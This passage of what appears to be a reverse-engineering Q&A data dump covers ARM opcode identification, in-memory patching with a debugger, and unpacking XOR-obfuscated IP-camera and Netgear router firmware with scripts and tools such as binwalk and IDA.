B8 ED 44 93 0F F0 E8 A3 D6 D6 8C B3 61 CB&#xA;B0 C2 64 9B D4 D2 D3 86 78 E2 0A A0 1C F2 BD BD&#xA;09 08 01 00 86 2C C0 00 5A 24 C0 00 E4 44 C0 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24684" LastEditorUserId="245" LastEditDate="2018-06-14T07:33:20.487" LastActivityDate="2018-12-16T08:37:40.293" Title="Instruction set for code snippet?" Tags="|disassembly|embedded|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18516" PostTypeId="1" CreationDate="2018-06-12T23:42:18.877" Score="2" ViewCount="750" Body="&lt;p&gt;I'm using OllyDbg to patch a value and I need to patch a certain value when the program gets mapped in memory, how can I do this? I don't want to patch the value in file, but only in memory after the program gets mapped, any ideas ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to automate this, so that every time I run the program and after it gets mapped in memory, and after pushing a certain button, the value gets patched, only in memory, automatically!!&lt;/p&gt;&#xA;" OwnerUserId="24689" LastEditorUserId="245" LastEditDate="2018-06-13T13:52:37.167" LastActivityDate="2018-08-12T14:00:50.463" Title="Patching a program in memory at a certain point of time" Tags="|assembly|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18517" PostTypeId="2" ParentId="18516" CreationDate="2018-06-13T09:06:12.913" Score="2" Body="&lt;p&gt;To control memory mapping events you need a debugger or kernel mode driver. I.e. you have to open the process for debug, with your own debugger in order to get the notification that some module loaded. There's a patching type called Loader it's actually works this way. &lt;a href=&quot;https://lucasg.github.io/2016/11/27/How-to-Create-and-Debug-a-Process-on-Windows/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lucasg.github.io/2016/11/27/How-to-Create-and-Debug-a-Process-on-Windows/&lt;/a&gt; see the &quot;Debug way&quot; section&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in kernel mode driver you can subscribe to memory mapping events from the whole OS, so you're able to control all the modules in all the processes.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-06-13T09:06:12.913" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18518" PostTypeId="1" CreationDate="2018-06-13T12:00:10.907" Score="1" ViewCount="998" Body="&lt;p&gt;I have been trying to simply open and view the source code for a VST I am researching as I hope to create my own VST sometime in the future. I have two .dat files which I presume contain the audio engine, and I have no idea what program they were compiled in. I have tried opening them in Notepad++ but there is no readable content inside using this method. Could they be encrypted, or should I try using another tool?&lt;/p&gt;&#xA;" OwnerUserId="24691" LastActivityDate="2018-07-13T19:00:35.063" Title="Reverse engineering a VST to learn about signal processing and hopefully help me make my own." Tags="|windows|x86|c++|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18519" PostTypeId="1" CreationDate="2018-06-13T16:52:17.753" Score="4" ViewCount="1056" Body="&lt;p&gt;I'm trying to extract an IP camera firmware. I am searching for a sleeping service that could be a major threat. According to &lt;code&gt;nmap&lt;/code&gt; there are no running services such as telnet, SSH, FTP or similar; there are only few open ports such as HTTP, RSTP and &lt;code&gt;unknown&lt;/code&gt;.&#xA;The firmware is &lt;a href=&quot;https://www.jovision.de/images/Firmware/Kamera%20und%20NVR/JVS-N5FL-DW/Update1-HI3516CS-WM-7601-v2.2.5608-20171109.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;jvs3516cs-7601.bin&lt;/a&gt; from Jovision (my ipcam is a clone) and it comes from the German branch of the company.&#xA;I've tried all the usual steps for the analysis but have not had much success. I've installed all the usual firmware analysis tools (lzmao, squash, cpio, cramfs) and tried to extract the firmware with, &lt;code&gt;gzip&lt;/code&gt;, &lt;code&gt;unzip&lt;/code&gt;, &lt;code&gt;7z&lt;/code&gt; and &lt;code&gt;binwalk&lt;/code&gt; with no luck.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# binwalk -Bv jvs3516cs-7601.bin&#xA;&#xA;Scan Time:     2018-06-13 17:52:52&#xA;Target File:   /root/jvs3516cs-7601.bin&#xA;MD5 Checksum:  8903156ca04081c393e16d6dff1580a0&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&#xA;# binwalk -EJ jvs3516cs-7601.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Falling entropy edge (0.316584)&#xA;270336        0x42000         Rising entropy edge (0.993798)&#xA;1904640       0x1D1000        Falling entropy edge (0.724715)&#xA;2031616       0x1F0000        Rising entropy edge (0.993043)&#xA;7753728       0x765000        Falling entropy edge (0.362255)&#xA;&#xA;Entropy Exception: 'float' object cannot be interpreted as an integer&#xA;&#xA;&#xA;&#xA;&#xA;# xxd -a jvs3516cs-7601.bin | head&#xA;00000000: 5c1b 44f5 50ef dbfa 50ef dbfa 50ef dbfa  \.D.P...P...P...&#xA;00000010: 50ef dbfa 50ef dbfa 50ef dbfa 50ef dbfa  P...P...P...P...&#xA;00000020: 040c c49f e40c c49f 440b c49f 240b c49f  ........D...$...&#xA;00000030: 840b c49f 640a c49f c40a c49f 3c49 700d  ....d.......&amp;lt;Ip.&#xA;00000040: 441f 473f 441f 440e 441f 441f b91f 441f  D.G?D.D.D.D...D.&#xA;00000050: 401f 473f 2a2f 2c1f 441f 441f b91f 441f  @.G?*/,.D.D...D.&#xA;00000060: 4c1f 473f 441f 440d 441f 441f b91f 441f  L.G?D.D.D.D...D.&#xA;00000070: 481f 473f 273f 381f 441f 441f b91f 441f  H.G?'?8.D.D...D.&#xA;00000080: 541f 473f 441f 440e 441f 441f b91f 441f  T.G?D.D.D.D...D.&#xA;00000090: 501f 473f 2a2f 2c1f 441f 441f b91f 441f  P.G?*/,.D.D...D&#xA;&#xA;&#xA;# fdisk -l jvs3516cs-7601.bin&#xA;Disk jvs3516cs-7601.bin: 7,4 MiB, 7798784 bytes, 15232 sectors&#xA;Units: sectors of 1 * 512 = 512 bytes&#xA;Sector size (logical/physical): 512 bytes / 512 bytes&#xA;I/O size (minimum/optimal): 512 bytes / 512 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyone with better ideas then mine?&#xA;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS There's also a jvs3516cs-7601-ver.bin whit inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#####################3&#xA;#file format:&#xA;#module=name, the name want to update. such as boot,kernel,fs,config ...&#xA;#ver=3, version of the module&#xA;#offset=0, offset in the file&#xA;#size=0x100000, size in byte&#xA;#dev=/dev/mtdblock/0, dev used to update&#xA;#&#xA;&#xA;module=uboot&#xA;ver=20&#xA;offset=0&#xA;size=0x40000&#xA;dev=/dev/mtdblock0&#xA;&#xA;module=kernel&#xA;ver=3&#xA;offset=0x40000&#xA;size=0x1B0000&#xA;dev=/dev/mtdblock1&#xA;&#xA;module=fs&#xA;ver=5608&#xA;offset=0x1F0000&#xA;size=0x580000&#xA;dev=/dev/mtdblock2&#xA;&#xA;product=JVS-HI3516CS-7601&#xA;fileSize=0x770000&#xA;&#xA;checksum=0x4b0163fa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24694" LastEditorUserId="18317" LastEditDate="2018-06-13T18:32:26.020" LastActivityDate="2018-06-13T21:53:20.400" Title="Strange or encrypted ipcam firmware" Tags="|firmware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18520" PostTypeId="2" ParentId="18518" CreationDate="2018-06-13T18:24:24.587" Score="1" Body="&lt;p&gt;The .dat files you are looking at do not contain the audio engine.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have been trying to simply open and view the source code&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have tried opening them in Notepad++ but there is no readable content inside using this method.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The file provided does not contain source code. The information contained in this file is encoded such that it is not human-readable. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have two .dat files which I presume contain the audio engine, and I have no idea what program they were compiled in.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The file provided does not appear to be formatted in such a way that it can be used to compose a process image in memory, as it does not conform to an executable format such as PE or ELF. In other words, it is not designed to be loadable by any OS loader I am familiar with. It seems doubtful that this file was generated by a compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a dump of the first few bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  61 70 72 6f 22 56 00 00  b7 00 00 00 b4 b1 af ac  |apro&quot;V..........|&#xA;00000010  a9 a7 a4 a2 9f 9c 9a 97  95 92 8f 8d 8a 87 85 82  |................|&#xA;00000020  80 7d 7a 78 75 73 70 6d  6b 68 66 63 60 5e 5b 58  |.}zxuspmkhfc`^[X|&#xA;00000030  56 53 51 4e 4b 49 46 44  41 3e 3c 39 36 34 34 34  |VSQNKIFDA&amp;gt;&amp;lt;96444|&#xA;00000040  33 33 33 32 32 32 31 31  31 31 30 30 30 30 2f 2f  |33322211110000//|&#xA;00000050  2f 2f 2e 2e 2e 2e 2d 2d  2d 2d 2d 2c 2c 2c 2c 2c  |//....-----,,,,,|&#xA;00000060  2b 2b 2b 2b 2b 2a 2a 2a  2a 2a 29 29 29 29 29 29  |+++++*****))))))|&#xA;00000070  28 28 28 28 28 27 27 27  27 27 27 27 26 26 26 26  |((((('''''''&amp;amp;&amp;amp;&amp;amp;&amp;amp;|&#xA;00000080  26 26 26 26 25 25 25 25  25 25 25 24 24 24 24 24  |&amp;amp;&amp;amp;&amp;amp;&amp;amp;%%%%%%%$$$$$|&#xA;00000090  24 24 23 23 23 23 23 23  23 23 22 22 22 22 22 22  |$$########&quot;&quot;&quot;&quot;&quot;&quot;|&#xA;000000a0  22 22 22 21 21 21 21 21  21 21 21 21 20 20 20 20  |&quot;&quot;&quot;!!!!!!!!!    |&#xA;000000b0  20 20 20 20 20 20 20 1f  1f 1f 1f 1f 1f 1f 1f 1f  |       .........|&#xA;000000c0  1f 1e 1e 1e 1e 1e 1e 1e  1e 1e 1e 1e 1e 1d 1d 1d  |................|&#xA;000000d0  1d 1d 1d 1d 1d 1d 1d 1d  1d 1c 1c 1c 1c 1c 1c 1c  |................|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could they be encrypted, or should I try using another tool?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The entropy level throughout the file is never high enough to be consistent with encryption of compression. Compressed or encrypted data is expected to have an entropy level very close to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the entropy plot of the .dat file &lt;code&gt;1ca37741f.dat&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3MAkD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MAkD.png&quot; alt=&quot;.dat file entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, here is a PE file employing executable compression:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NoPhw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NoPhw.png&quot; alt=&quot;PE32, executable compression&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://notepad-plus-plus.org/repository/7.x/7.5.6/npp.7.5.6.bin.x64.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Notepad++&lt;/a&gt; (The first ~1.6 MB is mostly object code):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DPxU0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DPxU0.png&quot; alt=&quot;PE64 - notepad++&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we can see in the last plot, average entropy for regions containing x86-64 code is approximately 7.5 and quite variable. IIRC, it is fairly similar for object code across most instruction set architectures (x86, MIPS, PPC, etc.). The entropy in the provided file is either to high or too low and not variable enough to suggest the presence of object code.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-06-13T18:24:24.587" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18521" PostTypeId="2" ParentId="15363" CreationDate="2018-06-13T20:27:29.313" Score="3" Body="&lt;p&gt;While you don't give the necessary details in your question, I decided to give it a go with the &lt;a href=&quot;http://www.downloads.netgear.com/files/GDC/R6250/R6250-V1.0.4.26_10.1.23.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;R6250-V1.0.4.26_10.1.23.zip&lt;/a&gt; from the Netgear website. I don't know how close that is to whatever target you are currently looking at, but the environment look superficially rather similar (especially contents of &lt;code&gt;/etc&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I used &lt;a href=&quot;https://github.com/rampageX/firmware-mod-kit&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware-mod-kit&lt;/a&gt; to extract the &lt;code&gt;.chk&lt;/code&gt; file inside the downloaded &lt;code&gt;.zip&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ extract-firmware.sh R6250-V1.0.4.26_10.1.23.chk &#xA;Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake&#xA;&#xA;Scanning firmware...&#xA;&#xA;Scan Time:     2018-06-13 17:23:43&#xA;Target File:   /home/user/netgear/R6250-V1.0.4.26_10.1.23.chk&#xA;MD5 Checksum:  fbb0ddc095cbca7abebe90a19a1b39b7&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;58            0x3A            TRX firmware header, little endian, image size: 19345408 bytes, CRC32: 0xE9FDE7D3, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x23F01C, rootfs offset: 0x0&#xA;86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5467936 bytes&#xA;2355286       0x23F056        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 16983563 bytes, 1244 inodes, blocksize: 131072 bytes, created: 2018-04-02 13:08:38&#xA;&#xA;Extracting 2355286 bytes of  header image at offset 0&#xA;Extracting squashfs file system at offset 2355286&#xA;Extracting squashfs files...&#xA;Firmware extraction successful!&#xA;Firmware parts can be found in '/home/user/netgear/fmk/*'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I started to explore the contents of &lt;code&gt;fmk/rootfs&lt;/code&gt; using standard Linux tools. For example only a single &lt;code&gt;.cgi&lt;/code&gt; file existed in the whole rootfs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ find -name '*.cgi'&#xA;./www/cgi-bin/genie.cgi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;grep -R \.cgi www&lt;/code&gt; I was able to find a whole bunch of references to different &quot;files&quot; named &lt;code&gt;.cgi&lt;/code&gt; used inside forms of the router's web interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then attempted to filter down the list a little further (inside &lt;code&gt;fmk/rootfs/www&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -RPho '[^&quot;]+\.cgi'|sort -u&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There were some outliers in the resulting list, but the outcome was useful nevertheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armed with that knowledge I turned back to the rootfs in order to look for the web server. I could have used &lt;code&gt;find -name httpd&lt;/code&gt;, as it turns out, but in reality I was looking through &lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/usr/bin&lt;/code&gt; and &lt;code&gt;/usr/sbin&lt;/code&gt; in that order and found a binary named &lt;code&gt;httpd&lt;/code&gt; in the last one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;strings httpd&lt;/code&gt; from inside &lt;code&gt;fmk/rootfs/usr/sbin&lt;/code&gt; gave me further clues and definitely proved that this was no Nginx or Apache. With &lt;code&gt;strings httpd|grep \.cgi&lt;/code&gt; I was also able to verify that the quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;apply.cgi&lt;/code&gt; is not really a script, but a function that is invoked in the HTTP server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;appears to hold true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;readelf -d httpd&lt;/code&gt; I figured out the dependencies (excerpt):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -d httpd&#xA;&#xA;Dynamic section at offset 0xae00c contains 31 entries:&#xA;  Tag        Type                         Name/Value&#xA; 0x00000001 (NEEDED)                     Shared library: [libnat.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libnvram.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libacos_shared.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libcrypt.so.0]&#xA; 0x00000001 (NEEDED)                     Shared library: [libgcc_s.so.1]&#xA; 0x00000001 (NEEDED)                     Shared library: [libssl.so.1.0.0]&#xA; 0x00000001 (NEEDED)                     Shared library: [libcrypto.so.1.0.0]&#xA; 0x00000001 (NEEDED)                     Shared library: [libc.so.0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to know which libraries to look at, should the need come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least I loaded the ELF file &lt;code&gt;httpd&lt;/code&gt; into IDA Pro 7.1, turned to the &lt;strong&gt;Strings&lt;/strong&gt; subview using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt; and started looking for the &lt;code&gt;.cgi&lt;/code&gt; names. The &lt;code&gt;apply.cgi&lt;/code&gt; you mentioned does not exist (verified by using &lt;code&gt;strings&lt;/code&gt; on &lt;code&gt;httpd&lt;/code&gt; and &lt;code&gt;grep -R apply\.cgi fmk/rootfs/www&lt;/code&gt;). So I needed to pick another CGI as an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went for &lt;code&gt;userlogin.cgi&lt;/code&gt;, which was one of the first names to come up when searching for text &lt;code&gt;.cgi&lt;/code&gt; from top down using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; in &lt;strong&gt;IDA View-A&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Listing the cross-references (&lt;kbd&gt;x&lt;/kbd&gt;) to the string containing &lt;code&gt;userlogin.cgi&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rodata:000823DC aUserloginCgi   DCB &quot;userlogin.cgi&quot;,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;turned up several references to &lt;code&gt;sub_F110&lt;/code&gt; (&lt;code&gt;.text:0000F110&lt;/code&gt;..&lt;code&gt;.text:0001289C&lt;/code&gt;), which - when following these cross-references - turned out to be one central &quot;mega-function&quot; for parsing HTTP requests and handling the requests to any number of hardcoded &lt;code&gt;.cgi&lt;/code&gt; and &lt;code&gt;.htm&lt;/code&gt; &quot;file names&quot;. (NB: make sure to look for references to strings containing &lt;code&gt;cgi-bin&lt;/code&gt; as well.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your suspicion, based on that quote, was true and with the sole exception of the &lt;code&gt;genie.cgi&lt;/code&gt; found on the file system, all other &lt;code&gt;.cgi&lt;/code&gt; &quot;files&quot; are handled directly by the massive 1.3 MiB &lt;code&gt;httpd&lt;/code&gt; binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary contains strings aplenty and apparently even some assertion strings among them.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-06-13T20:27:29.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18522" PostTypeId="2" ParentId="18514" CreationDate="2018-06-13T20:41:11.367" Score="1" Body="&lt;p&gt;Check this out: &lt;a href=&quot;https://en.wikipedia.org/wiki/StrongARM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/StrongARM&lt;/a&gt; (your chip might be one of those).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The LDR encoding on the SA1110 is quite similar &lt;strong&gt;(E5 9x)&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     LDR R0,[R1,#0x38] 38 00 91 E5&#xA;     LDR R0,[R5]       00 00 95 E5&#xA;     LDR R2,[R3]       00 20 93 E5&#xA;     LDR R1,[R6]       00 10 96 E5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Definitely an ARM chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www-s.acm.illinois.edu/sigembedded/old/projects/strongarm/documentation/SA-1110_DevManual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel doc&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://antelox.wordpress.com/2010/03/21/arm-opcode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;StrongARM SA1110 Opcodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hotchips.org/wp-content/uploads/hc_archives/hc10/3_Tue/HC10.S8/HC10.8.3.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hotchips SA1500 presentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM Arch. ref. manual of that era (1995)&lt;/a&gt; It contains the instruction encoding which might lead you to something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll dig deeper and edit later on if I find something more conclusive. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2018-12-16T08:37:40.293" LastActivityDate="2018-12-16T08:37:40.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18523" PostTypeId="2" ParentId="18519" CreationDate="2018-06-13T21:47:05.737" Score="7" Body="&lt;p&gt;Now I don't have the time to help you &lt;em&gt;all the way&lt;/em&gt;, but I believe I can get you started. Let's think like some company trying to obfuscate something from the layperson, right? The first choice is usually bitwise &lt;code&gt;xor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know the offsets of the bits and pieces already, thanks to &lt;code&gt;jvs3516cs-7601-ver.bin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now looking at the &lt;code&gt;jvs3516cs-7601.bin&lt;/code&gt; in a hex editor turns up a fascinating pattern: &lt;code&gt;44 1F&lt;/code&gt; (or &lt;code&gt;D.&lt;/code&gt;). Typically we'd expect to see quite a few &lt;code&gt;00&lt;/code&gt; occurrences on data with this entropy (start of file), but instead we see that &lt;code&gt;D.&lt;/code&gt; pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't ask me if there is some connection to the name of a developer or something like that, but we now have a working theory. The &lt;code&gt;.bin&lt;/code&gt; file may have been xored word-wise with &lt;code&gt;0x1F44&lt;/code&gt; (or &lt;code&gt;0x441F&lt;/code&gt; if it's Big Endian). Excerpt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5C 1B 44 F5 50 EF DB FA 50 EF DB FA 50 EF DB FA&#xA;50 EF DB FA 50 EF DB FA 50 EF DB FA 50 EF DB FA&#xA;04 0C C4 9F E4 0C C4 9F 44 0B C4 9F 24 0B C4 9F&#xA;84 0B C4 9F 64 0A C4 9F C4 0A C4 9F 3C 49 70 0D&#xA;44 1F 47 3F 44 1F 44 0E 44 1F 44 1F B9 1F 44 1F&#xA;40 1F 47 3F 2A 2F 2C 1F 44 1F 44 1F B9 1F 44 1F&#xA;4C 1F 47 3F 44 1F 44 0D 44 1F 44 1F B9 1F 44 1F&#xA;48 1F 47 3F 27 3F 38 1F 44 1F 44 1F B9 1F 44 1F&#xA;54 1F 47 3F 44 1F 44 0E 44 1F 44 1F B9 1F 44 1F&#xA;50 1F 47 3F 2A 2F 2C 1F 44 1F 44 1F B9 1F 44 1F&#xA;64 1F 47 3F 44 1F 44 04 44 1F 44 1F B9 1F 44 1F&#xA;60 1F 47 3F A5 5F 38 1F 44 1F 44 1F B9 1F 44 1F&#xA;6C 1F 47 3F 54 1F 44 1F 44 1F 44 1F B9 1F 44 1F&#xA;AC 1F 47 3F 4B 1F 44 1F 44 1F 44 1F 44 1F 59 1F&#xA;6C 1F 47 3F 44 1F 44 1F 44 1F 44 1F 61 37 44 1F&#xA;6C 1F 47 3F 44 1F 44 1F 44 1F 44 1F 41 4F 44 1F&#xA;6C 1F 47 3F 45 1F 44 1F 44 1F 44 1F 41 4F 44 1F&#xA;40 1F 44 0F EE 15 44 1F 44 1F 44 1F 19 1F 44 1F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following little Python script takes the knowledge from &lt;code&gt;jvs3516cs-7601-ver.bin&lt;/code&gt; and places it into the &lt;code&gt;parts&lt;/code&gt; variable (a list of triplets/tuples). It then opens the input file (no sophisticated error or path handling here, so run from same folder as the &lt;code&gt;jvs3516cs-7601.bin&lt;/code&gt; is located in) and reads the parts one by one and then dumps them into an output file as per tuple contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Tested with Python 2.7!&#xA;import io&#xA;import struct&#xA;&#xA;parts = [(&quot;uboot.img&quot;, 0, 0x40000), (&quot;kernel.img&quot;, 0x40000, 0x1B0000), (&quot;fs.img&quot;, 0x1F0000, 0x580000)]&#xA;inpname = &quot;jvs3516cs-7601.bin&quot;&#xA;&#xA;with io.open(inpname, &quot;rb&quot;) as infile:&#xA;    for nm, offset, size in parts:&#xA;        infile.seek(offset)&#xA;        x = infile.read(size)&#xA;        assert len(x) / 2, &quot;%s has odd length.&quot; % (nm)&#xA;        newx = &quot;&quot;&#xA;        for woffs in range(0, len(x), 2):&#xA;            word = struct.unpack(&quot;H&quot;, x[woffs:woffs+2])&#xA;            val = word[0] ^ 0x1F44 # the magic xor value we assume based on &quot;D.&quot;&#xA;            newx += struct.pack(&quot;H&quot;, val)&#xA;        assert len(newx) == len(x), &quot;Input and output size differ.&quot;&#xA;        assert len(newx) == size, &quot;Output size (%d) for %s differs from expected value %d.&quot; % (len(newx), nm, size)&#xA;        with io.open(nm, &quot;wb&quot;) as outf:&#xA;            outf.write(newx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The outcome are three files that after a cursory look, seem like the real deal. I.e. the deobfuscated uImage, kernel image and file system image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once we have those files, using &lt;code&gt;file&lt;/code&gt; on the shell gives something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file *.img&#xA;fs.img:     Squashfs filesystem, little endian, version 4.0, 5722880 bytes, 614 inodes, blocksize: 262144 bytes, created: Fri Oct 20 10:32:21 2017&#xA;kernel.img: u-boot legacy uImage, Linux-3.0.8, Linux/ARM, OS Kernel Image (Not compressed), 1644712 bytes, Thu Nov  5 07:18:50 2015, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xAAC0A340, Data CRC: 0x1FDABC77&#xA;uboot.img:  data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am unsure why it doesn't recognize the U-Boot image. But it might just as well be a proprietary loader replacing what was formerly a U-Boot image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a folder &lt;code&gt;rootfs&lt;/code&gt; and have the (Debian) package &lt;code&gt;squashfuse&lt;/code&gt; installed, you can run &lt;code&gt;sudo mount -t squashfs fs.img rootfs&lt;/code&gt; to mount the SquashFS image. The outcome will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls -l rootfs/&#xA;total 2&#xA;drwxrwxrwx 2 root root 1386 2017-09-30 08:11 bin&#xA;drwxrwxrwx 2 1001 1001    3 2006-04-19 06:05 boot&#xA;drwxrwxrwx 2 1001 1001    3 2017-06-30 05:57 dev&#xA;drwxrwxrwx 7 root root  259 2017-10-20 12:32 etc&#xA;drwxrwxrwx 5 root root  149 2017-09-30 08:11 home&#xA;lrwxrwxrwx 1 1001 1001    9 2013-09-23 12:46 init -&amp;gt; 